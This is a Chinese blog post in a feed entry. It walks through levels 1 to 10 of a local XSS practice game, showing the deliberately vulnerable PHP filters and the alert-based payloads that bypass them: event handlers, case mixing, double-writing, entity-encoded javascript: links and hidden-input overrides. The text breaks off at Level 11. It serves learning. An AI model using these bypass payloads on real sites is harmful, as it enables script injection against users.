    <link href="https://louisnie.github.io/2019/02/25/xss%E5%B0%8F%E6%B8%B8%E6%88%8F/"/>
    <id>https://louisnie.github.io/2019/02/25/xss小游戏/</id>
    <published>2019-02-25T11:15:28.000Z</published>
    <updated>2019-02-26T15:39:25.938Z</updated>
    
    <content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="\assets\css\APlayer.min.css"><script src="\assets\js\APlayer.min.js" class="aplayer-secondary-script-marker"></script><blockquote class="blockquote-center">生命中遇到最美的景致，并不需要浓墨重彩去描绘，而是平常心踩出的一串淡淡的足迹。</blockquote><div align="middle"><iframe frameborder="no" border="0" marginwidth="0" marginheight="0" width="330" height="86" src="//music.163.com/outchain/player?type=2&id=33418871&auto=1&height=66"></iframe></div><p>今天在网上找到了一个XSS小游戏，觉得蛮好玩的，刚好自己对XSS理解不深，拿来学习正好！</p><p>这个XSS程序直接放到phpstudy中，访问即可</p><p>那么就开始我们的探索旅程吧！</p><h2 id="Level-1："><a href="#Level-1：" class="headerlink" title="Level 1："></a>Level 1：</h2><p>根据URL和网页源代码可以看出test变量是可控的</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://127.0.0.1/xss/level1.php?name=test</span><br></pre></td></tr></table></figure><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">&lt;script&gt;</span><br><span class="line">window.alert = function()  </span><br><span class="line">&#123;     </span><br><span class="line">confirm(&quot;完成的不错！&quot;);</span><br><span class="line"> window.location.href=&quot;level2.php?keyword=test&quot;; </span><br><span class="line">&#125;</span><br><span class="line">&lt;/script&gt;</span><br></pre></td></tr></table></figure><p>那么可以构造payload，将test替换成payload即可,为：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&quot;&lt;script&gt;alert(/xss/)&lt;/script&gt;</span><br></pre></td></tr></table></figure><p>我原先以为需要闭合前面的双引号才可以执行payload进行弹窗，但是不闭合也是可以弹窗的：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&lt;script&gt;alert(/xss/)&lt;/script&gt;</span><br></pre></td></tr></table></figure><h2 id="Level-2"><a href="#Level-2" class="headerlink" title="Level 2:"></a>Level 2:</h2><p>先把第一关的payload拿来试试，看看被过滤了哪些参数</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">&lt;title&gt;欢迎来到level2&lt;/title&gt;</span><br><span class="line">&lt;/head&gt;</span><br><span class="line">&lt;body&gt;</span><br><span class="line">&lt;h1 align=center&gt;欢迎来到level2&lt;/h1&gt;</span><br><span class="line">&lt;h2 align=center&gt;没有找到和&amp;lt;script&amp;gt;alert(xss)&amp;lt;/script&amp;gt;相关的结果.&lt;/h2&gt;&lt;center&gt;</span><br><span class="line">&lt;form action=level2.php method=GET&gt;</span><br><span class="line">&lt;input name=keyword  value=&quot;&lt;script&gt;alert(xss)&lt;/script&gt;&quot;&gt;</span><br><span class="line">&lt;input type=submit name=submit value=&quot;搜索&quot;/&gt;</span><br><span class="line">&lt;/form&gt;</span><br><span class="line">&lt;/center&gt;&lt;center&gt;&lt;img src=level2.png&gt;&lt;/center&gt;</span><br><span class="line">&lt;h3 align=center&gt;payload的长度:27&lt;/h3&gt;&lt;/body&gt;</span><br><span class="line">&lt;/html&gt;</span><br></pre></td></tr></table></figure><p>发现是把URL中的keyword参数的值进行了编码，这是使用了一个过滤函数htmlspecialchars()将预定义的字符转换成HTML实体，但是并未对input标签内的test值进行编码，那么我们可以对这个标签构造闭合，payload为：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&quot;&gt;&lt;script&gt;alert(/xss/)&lt;/script&gt;</span><br></pre></td></tr></table></figure><h2 id="Level-3"><a href="#Level-3" class="headerlink" title="Level 3:"></a>Level 3:</h2><p>这次我们在搜索框输入xss，首先判断服务器将我们输入的内容放在代码的哪个位置，然后尝试闭合绕过</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">&lt;title&gt;欢迎来到level3&lt;/title&gt;</span><br><span class="line">&lt;/head&gt;</span><br><span class="line">&lt;body&gt;</span><br><span class="line">&lt;h1 align=center&gt;欢迎来到level3&lt;/h1&gt;</span><br><span class="line">&lt;h2 align=center&gt;没有找到和xss相关的结果.&lt;/h2&gt;&lt;center&gt;</span><br><span class="line">&lt;form action=level3.php method=GET&gt;</span><br><span class="line">&lt;input name=keyword  value=&apos;xss&apos;&gt;</span><br><span class="line">&lt;input type=submit name=submit value=搜索 /&gt;</span><br><span class="line">&lt;/form&gt;</span><br><span class="line">&lt;/center&gt;&lt;center&gt;&lt;img src=level3.png&gt;&lt;/center&gt;</span><br><span class="line">&lt;h3 align=center&gt;payload的长度:3&lt;/h3&gt;&lt;/body&gt;</span><br><span class="line">&lt;/html&gt;</span><br></pre></td></tr></table></figure><p>可以看到有两处我们所搜索的xss字符串</p><p>而且发现URL也改变啦</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://127.0.0.1/xss/level3.php?keyword=xss&amp;submit=%E6%90%9C%E7%B4%A2</span><br></pre></td></tr></table></figure><p>试了好几个payload都没有成功，然后没办法，开始看代码</p><p>发现有一段PHP代码</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">&lt;?php </span><br><span class="line">ini_set(&quot;display_errors&quot;, 0);</span><br><span class="line">$str = $_GET[&quot;keyword&quot;];</span><br><span class="line">echo &quot;&lt;h2 align=center&gt;没有找到和&quot;.htmlspecialchars($str).&quot;相关的结果.&lt;/h2&gt;&quot;.&quot;&lt;center&gt;</span><br><span class="line">&lt;form action=level3.php method=GET&gt;</span><br><span class="line">&lt;input name=keyword  value=&apos;&quot;.htmlspecialchars($str).&quot;&apos;&gt;</span><br><span class="line">&lt;input type=submit name=submit value=搜索 /&gt;</span><br><span class="line">&lt;/form&gt;</span><br><span class="line">&lt;/center&gt;&quot;;</span><br><span class="line">?&gt;</span><br></pre></td></tr></table></figure><p>其中涉及到htmlspecialchars() 函数</p><p>在网上查了查这个函数，他是把预定义的字符转换为 HTML 实体。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line">CharacterHTML EntityNotes</span><br><span class="line">&amp;          &amp;amp; </span><br><span class="line">&quot;          &amp;quot;  Depending on how [quote_style] is set</span><br><span class="line">&apos;          &amp;#039      Depending on how [quote_style] is set</span><br><span class="line">&gt;          &amp;gt; </span><br><span class="line">&lt;          &amp;lt;</span><br></pre></td></tr></table></figure><p>但是htmlspecialchars（）函数默认的配置不过滤单引号的。只有设置了:quotestyle选项为ENT_QUOTES才会过滤掉单引号。</p><p>我们来试一试用事件来弹框：</p><p>onmouseover 事件会在鼠标指针移动到指定的对象上时发生</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&apos;onmouseover=alert(1) x=&apos;</span><br></pre></td></tr></table></figure><p>onclick 事件会在对象被点击时发生。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&apos;onclick=&apos;window.alert()</span><br></pre></td></tr></table></figure><p>还有其他事件也是可以实现的，我这里就演示两个！</p><h2 id="Level-4"><a href="#Level-4" class="headerlink" title="Level 4:"></a>Level 4:</h2><p>之后都是查看网站源码，旨在学习xss！</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">&lt;?php </span><br><span class="line">ini_set(&quot;display_errors&quot;, 0); //关闭输出程序错误信息</span><br><span class="line">$str = $_GET[&quot;keyword&quot;];    //通过GET方式获取keyword变量的值</span><br><span class="line">$str2=str_replace(&quot;&gt;&quot;,&quot;&quot;,$str);  //将获取到的变量值中的&gt;替换成空，并传递给变量str2</span><br><span class="line">$str3=str_replace(&quot;&lt;&quot;,&quot;&quot;,$str2);  //将获取到的str2的值中的&lt;替换成空，并传递给str3</span><br><span class="line">echo &quot;&lt;h2 align=center&gt;没有找到和&quot;.htmlspecialchars($str).&quot;相关的结果.&lt;/h2&gt;&quot;.&apos;&lt;center&gt;</span><br><span class="line">&lt;form action=level4.php method=GET&gt;</span><br><span class="line">&lt;input name=keyword  value=&quot;&apos;.$str3.&apos;&quot;&gt;  //设置输出框，将str3的值输出到框内</span><br><span class="line">&lt;input type=submit name=submit value=搜索 /&gt;</span><br><span class="line">&lt;/form&gt;</span><br><span class="line">&lt;/center&gt;&apos;;</span><br><span class="line">?&gt;</span><br></pre></td></tr></table></figure><p>因为所获取到的str3的值只是过滤掉&lt;&gt;这两个符号，我们将Level 3的payload进行修改成为：</p><p>当鼠标移动到这个字符串的时候弹窗</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&quot;onmouseover=&quot;alert(1)</span><br></pre></td></tr></table></figure><p>当鼠标点击输入框的时候弹窗</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&quot;onclick=&apos;window.alert()</span><br></pre></td></tr></table></figure><h2 id="Level-5："><a href="#Level-5：" class="headerlink" title="Level 5："></a>Level 5：</h2><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">&lt;?php </span><br><span class="line">ini_set(&quot;display_errors&quot;, 0);</span><br><span class="line">$str = strtolower($_GET[&quot;keyword&quot;]);</span><br><span class="line">$str2=str_replace(&quot;&lt;script&quot;,&quot;&lt;scr_ipt&quot;,$str);  //将传入的参数值中的&lt;script&gt;替换成&lt;scr_ipt</span><br><span class="line">$str3=str_replace(&quot;on&quot;,&quot;o_n&quot;,$str2); //将str2中的on字符串替换成o_n</span><br><span class="line">echo &quot;&lt;h2 align=center&gt;没有找到和&quot;.htmlspecialchars($str).&quot;相关的结果.&lt;/h2&gt;&quot;.&apos;&lt;center&gt;</span><br><span class="line">&lt;form action=level5.php method=GET&gt;</span><br><span class="line">&lt;input name=keyword  value=&quot;&apos;.$str3.&apos;&quot;&gt;</span><br><span class="line">&lt;input type=submit name=submit value=搜索 /&gt;</span><br><span class="line">&lt;/form&gt;</span><br><span class="line">&lt;/center&gt;&apos;;</span><br><span class="line">?&gt;</span><br></pre></td></tr></table></figure><p>这里我们将无法使用JavaScript事件来进行弹窗。在这里附上JavaScript事件的事件表，以供学习参考</p><table><thead><tr><th>属性</th><th>当以下情况发生时，出现此事件</th><th>FF</th><th>N</th><th>IE</th></tr></thead><tbody><tr><td>onabort</td><td>图像加载被中断</td><td>1</td><td>3</td><td>4</td></tr><tr><td>onblur</td><td>元素失去焦点</td><td>1</td><td>2</td><td>3</td></tr><tr><td>onchange</td><td>用户改变域的内容</td><td>1</td><td>2</td><td>3</td></tr><tr><td>onclick</td><td>鼠标点击某个对象</td><td>1</td><td>2</td><td>3</td></tr><tr><td>ondblclick</td><td>鼠标双击某个对象</td><td>1</td><td>4</td><td>4</td></tr><tr><td>onerror</td><td>当加载文档或图像时发生某个错误</td><td>1</td><td>3</td><td>4</td></tr><tr><td>onfocus</td><td>元素获得焦点</td><td>1</td><td>2</td><td>3</td></tr><tr><td>onkeydown</td><td>某个键盘的键被按下</td><td>1</td><td>4</td><td>3</td></tr><tr><td>onkeypress</td><td>某个键盘的键被按下或按住</td><td>1</td><td>4</td><td>3</td></tr><tr><td>onkeyup</td><td>某个键盘的键被松开</td><td>1</td><td>4</td><td>3</td></tr><tr><td>onload</td><td>某个页面或图像被完成加载</td><td>1</td><td>2</td><td>3</td></tr><tr><td>onmousedown</td><td>某个鼠标按键被按下</td><td>1</td><td>4</td><td>4</td></tr><tr><td>onmousemove</td><td>鼠标被移动</td><td>1</td><td>6</td><td>3</td></tr><tr><td>onmouseout</td><td>鼠标从某元素移开</td><td>1</td><td>4</td><td>4</td></tr><tr><td>onmouseover</td><td>鼠标被移到某元素之上</td><td>1</td><td>2</td><td>3</td></tr><tr><td>onmouseup</td><td>某个鼠标按键被松开</td><td>1</td><td>4</td><td>4</td></tr><tr><td>onreset</td><td>重置按钮被点击</td><td>1</td><td>3</td><td>4</td></tr><tr><td>onresize</td><td>窗口或框架被调整尺寸</td><td>1</td><td>4</td><td>4</td></tr><tr><td>onselect</td><td>文本被选定</td><td>1</td><td>2</td><td>3</td></tr><tr><td>onsubmit</td><td>提交按钮被点击</td><td>1</td><td>2</td><td>3</td></tr><tr><td>onunload</td><td>用户退出页面</td><td>1</td><td>2</td><td>3</td></tr></tbody></table><p>但是这串代码没有过滤&lt;字符和&gt;字符，那么我们可以使用<a>标签的href属性构造payload进行弹窗</a></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&quot;&gt; &lt;a href=&quot;javascript:alert(1)&quot;&gt;xss&lt;/a&gt;</span><br></pre></td></tr></table></figure><p>或者使用</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&quot;&gt;&lt;a href=&quot;javascript:onclick=alert()&quot;&gt;xss&lt;/a&gt;</span><br></pre></td></tr></table></figure><p>点击xss按钮即可弹窗，但是我不是很明白第二个payload，因为前面的PHP代码已经将on替换成0_n那么onclick不就变成了o_nclick，那么这个如何弹窗呢？我表示很困惑。。。。。后来发现网站并未将onclick中的on替换成o_n，所以便可以弹框。</p><h2 id="Level-6："><a href="#Level-6：" class="headerlink" title="Level 6："></a>Level 6：</h2><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">&lt;?php </span><br><span class="line">ini_set(&quot;display_errors&quot;, 0);</span><br><span class="line">$str = $_GET[&quot;keyword&quot;];</span><br><span class="line">$str2=str_replace(&quot;&lt;script&quot;,&quot;&lt;scr_ipt&quot;,$str);</span><br><span class="line">$str3=str_replace(&quot;on&quot;,&quot;o_n&quot;,$str2);</span><br><span class="line">$str4=str_replace(&quot;src&quot;,&quot;sr_c&quot;,$str3);</span><br><span class="line">$str5=str_replace(&quot;data&quot;,&quot;da_ta&quot;,$str4);</span><br><span class="line">$str6=str_replace(&quot;href&quot;,&quot;hr_ef&quot;,$str5);</span><br><span class="line">echo &quot;&lt;h2 align=center&gt;没有找到和&quot;.htmlspecialchars($str).&quot;相关的结果.&lt;/h2&gt;&quot;.&apos;&lt;center&gt;</span><br><span class="line">&lt;form action=level6.php method=GET&gt;</span><br><span class="line">&lt;input name=keyword  value=&quot;&apos;.$str6.&apos;&quot;&gt;</span><br><span class="line">&lt;input type=submit name=submit value=搜索 /&gt;</span><br><span class="line">&lt;/form&gt;</span><br><span class="line">&lt;/center&gt;&apos;;</span><br><span class="line">?&gt;</span><br></pre></td></tr></table></figure><p>emmmmm，看着这个代码过滤了很多的字符串，但是并没有进行大小写判定,很是好玩</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&quot;&gt;&lt;ScRipT&gt;alert(/xss/)&lt;/ScrIpt&gt;</span><br></pre></td></tr></table></figure><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&quot;ONclick=&quot;window.alert()</span><br></pre></td></tr></table></figure><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&quot;&gt;&lt;a HrEf=&quot;javascript:onclick=alert()&quot;&gt;xss&lt;/a&gt;</span><br></pre></td></tr></table></figure><h2 id="Level-7："><a href="#Level-7：" class="headerlink" title="Level 7："></a>Level 7：</h2><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">&lt;?php </span><br><span class="line">ini_set(&quot;display_errors&quot;, 0);</span><br><span class="line">$str =strtolower( $_GET[&quot;keyword&quot;]);</span><br><span class="line">$str2=str_replace(&quot;script&quot;,&quot;&quot;,$str);</span><br><span class="line">$str3=str_replace(&quot;on&quot;,&quot;&quot;,$str2);</span><br><span class="line">$str4=str_replace(&quot;src&quot;,&quot;&quot;,$str3);</span><br><span class="line">$str5=str_replace(&quot;data&quot;,&quot;&quot;,$str4);</span><br><span class="line">$str6=str_replace(&quot;href&quot;,&quot;&quot;,$str5);</span><br><span class="line">echo &quot;&lt;h2 align=center&gt;没有找到和&quot;.htmlspecialchars($str).&quot;相关的结果.&lt;/h2&gt;&quot;.&apos;&lt;center&gt;</span><br><span class="line">&lt;form action=level7.php method=GET&gt;</span><br><span class="line">&lt;input name=keyword  value=&quot;&apos;.$str6.&apos;&quot;&gt;</span><br><span class="line">&lt;input type=submit name=submit value=搜索 /&gt;</span><br><span class="line">&lt;/form&gt;</span><br><span class="line">&lt;/center&gt;&apos;;</span><br><span class="line">?&gt;</span><br></pre></td></tr></table></figure><p>查看源码，发现了网站对传入的参数进行了小写转换，并且将一些特殊值替换成空，那么我们可以将其进行双写绕过</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&quot;&gt;&lt;Scrscriptipt&gt;alert(/xss/)&lt;/scriScriptpt&gt;</span><br></pre></td></tr></table></figure><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&quot;OonNclick=&quot;window.alert()</span><br></pre></td></tr></table></figure><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&quot;&gt;&lt;a hrhrefef=javascriscriptpt:onclick=alert()&gt;xss&lt;/a&gt;</span><br></pre></td></tr></table></figure><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&quot;&gt;&lt;a hrhrefef=javascriscriptpt:alert()&gt;xss&lt;/a&gt;</span><br></pre></td></tr></table></figure><h2 id="Level-8："><a href="#Level-8：" class="headerlink" title="Level 8："></a>Level 8：</h2><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line">&lt;?php </span><br><span class="line">ini_set(&quot;display_errors&quot;, 0);</span><br><span class="line">$str = strtolower($_GET[&quot;keyword&quot;]);</span><br><span class="line">$str2=str_replace(&quot;script&quot;,&quot;scr_ipt&quot;,$str);  //将script替换成scr_ipt</span><br><span class="line">$str3=str_replace(&quot;on&quot;,&quot;o_n&quot;,$str2);   //将on替换成o_n</span><br><span class="line">$str4=str_replace(&quot;src&quot;,&quot;sr_c&quot;,$str3);  </span><br><span class="line">$str5=str_replace(&quot;data&quot;,&quot;da_ta&quot;,$str4);</span><br><span class="line">$str6=str_replace(&quot;href&quot;,&quot;hr_ef&quot;,$str5);</span><br><span class="line">$str7=str_replace(&apos;&quot;&apos;,&apos;&amp;quot&apos;,$str6);  //将双引号替换成&amp;quot</span><br><span class="line">echo &apos;&lt;center&gt;</span><br><span class="line">&lt;form action=level8.php method=GET&gt;</span><br><span class="line">&lt;input name=keyword  value=&quot;&apos;.htmlspecialchars($str).&apos;&quot;&gt;  //将所获取到的字符串进行HTML编码</span><br><span class="line">&lt;input type=submit name=submit value=添加友情链接 /&gt;</span><br><span class="line">&lt;/form&gt;</span><br><span class="line">&lt;/center&gt;&apos;;</span><br><span class="line">?&gt;</span><br><span class="line">&lt;?php</span><br><span class="line"> echo &apos;&lt;center&gt;&lt;BR&gt;&lt;a href=&quot;&apos;.$str7.&apos;&quot;&gt;友情链接&lt;/a&gt;&lt;/center&gt;&apos;; //通过href属性将￥str7变量输出到页面</span><br><span class="line">?&gt;</span><br><span class="line">&lt;center&gt;&lt;img src=level8.jpg&gt;&lt;/center&gt;</span><br><span class="line">&lt;?php </span><br><span class="line">echo &quot;&lt;h3 align=center&gt;payload的长度:&quot;.strlen($str7).&quot;&lt;/h3&gt;&quot;;</span><br><span class="line">?&gt;</span><br></pre></td></tr></table></figure><p>后台做了三个措施：将特殊字符替换/将获取到的字符串进行HTML编码/通过href属性将处理后得值输出</p><p>网上的教程是将伪协议JavaScript：alert（1）中的script的一个字符进行HTML编码绕过防护</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">javascri&amp;#x70;t:alert()</span><br></pre></td></tr></table></figure><p>或者</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">javascri&amp;#112;t:alert()</span><br></pre></td></tr></table></figure><h2 id="Level-9"><a href="#Level-9" class="headerlink" title="Level 9:"></a>Level 9:</h2><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br></pre></td><td class="code"><pre><span class="line">&lt;?php </span><br><span class="line">ini_set(&quot;display_errors&quot;, 0);</span><br><span class="line">$str = strtolower($_GET[&quot;keyword&quot;]);</span><br><span class="line">$str2=str_replace(&quot;script&quot;,&quot;scr_ipt&quot;,$str);</span><br><span class="line">$str3=str_replace(&quot;on&quot;,&quot;o_n&quot;,$str2);</span><br><span class="line">$str4=str_replace(&quot;src&quot;,&quot;sr_c&quot;,$str3);</span><br><span class="line">$str5=str_replace(&quot;data&quot;,&quot;da_ta&quot;,$str4);</span><br><span class="line">$str6=str_replace(&quot;href&quot;,&quot;hr_ef&quot;,$str5);</span><br><span class="line">$str7=str_replace(&apos;&quot;&apos;,&apos;&amp;quot&apos;,$str6);</span><br><span class="line">echo &apos;&lt;center&gt;</span><br><span class="line">&lt;form action=level9.php method=GET&gt;</span><br><span class="line">&lt;input name=keyword  value=&quot;&apos;.htmlspecialchars($str).&apos;&quot;&gt;</span><br><span class="line">&lt;input type=submit name=submit value=添加友情链接 /&gt;</span><br><span class="line">&lt;/form&gt;</span><br><span class="line">&lt;/center&gt;&apos;;</span><br><span class="line">?&gt;</span><br><span class="line">&lt;?php</span><br><span class="line">if(false===strpos($str7,&apos;http://&apos;)) //如果str7中没有http：//</span><br><span class="line">&#123;</span><br><span class="line">  echo &apos;&lt;center&gt;&lt;BR&gt;&lt;a href=&quot;您的链接不合法？有没有！&quot;&gt;友情链接&lt;/a&gt;&lt;/center&gt;&apos;;  //则报错</span><br><span class="line">        &#125;</span><br><span class="line">else</span><br><span class="line">&#123;</span><br><span class="line">  echo &apos;&lt;center&gt;&lt;BR&gt;&lt;a href=&quot;&apos;.$str7.&apos;&quot;&gt;友情链接&lt;/a&gt;&lt;/center&gt;&apos;; </span><br><span class="line">&#125;</span><br><span class="line">?&gt;</span><br><span class="line">&lt;center&gt;&lt;img src=level9.png&gt;&lt;/center&gt;</span><br><span class="line">&lt;?php </span><br><span class="line">echo &quot;&lt;h3 align=center&gt;payload的长度:&quot;.strlen($str7).&quot;&lt;/h3&gt;&quot;;</span><br><span class="line">?&gt;</span><br></pre></td></tr></table></figure><p>那么我们可以构造payload：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">javascri&amp;#x0070;t:alert(1)/*http://www.baidu.com*/</span><br></pre></td></tr></table></figure><p>只要让程序检测到http://但不让这个生效即可，可以采用注释的方法构造payload。</p><h2 id="Level-10："><a href="#Level-10：" class="headerlink" title="Level 10："></a>Level 10：</h2><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">&lt;?php </span><br><span class="line">ini_set(&quot;display_errors&quot;, 0);</span><br><span class="line">$str = $_GET[&quot;keyword&quot;];</span><br><span class="line">$str11 = $_GET[&quot;t_sort&quot;];</span><br><span class="line">$str22=str_replace(&quot;&gt;&quot;,&quot;&quot;,$str11);</span><br><span class="line">$str33=str_replace(&quot;&lt;&quot;,&quot;&quot;,$str22);</span><br><span class="line">echo &quot;&lt;h2 align=center&gt;没有找到和&quot;.htmlspecialchars($str).&quot;相关的结果.&lt;/h2&gt;&quot;.&apos;&lt;center&gt;</span><br><span class="line">&lt;form id=search&gt;</span><br><span class="line">&lt;input name=&quot;t_link&quot;  value=&quot;&apos;.&apos;&quot; type=&quot;hidden&quot;&gt;</span><br><span class="line">&lt;input name=&quot;t_history&quot;  value=&quot;&apos;.&apos;&quot; type=&quot;hidden&quot;&gt;</span><br><span class="line">&lt;input name=&quot;t_sort&quot;  value=&quot;&apos;.$str33.&apos;&quot; type=&quot;hidden&quot;&gt;</span><br><span class="line">&lt;/form&gt;</span><br><span class="line">&lt;/center&gt;&apos;;</span><br><span class="line">?&gt;</span><br></pre></td></tr></table></figure><p>分析代码，发现需要两个参数，一个是keyword，一个是t_sort，尖括号&lt;&gt;都被转换成空，还有三个hidden的隐藏输入框，</p><p>或许我们可以从隐藏的输入框下手</p><p>构造payload为：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">keyword = test&amp;t_sort=&quot;type=&quot;text&quot; onclick = &quot;alert(1)</span><br></pre></td></tr></table></figure><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">keyword = test&amp;t_sort=&quot;type=&quot;text&quot; onmouseover=&quot;alert(1)</span><br></pre></td></tr></table></figure><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">keyword = test&amp;t_sort=&quot;type=&quot;text&quot; onmouseover=alert`1`</span><br></pre></td></tr></table></figure><h2 id="Level-11："><a href="#Level-11：" class="headerlink" title="Level 11："></a>Level 11：</h2><p>查看后台代码</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span 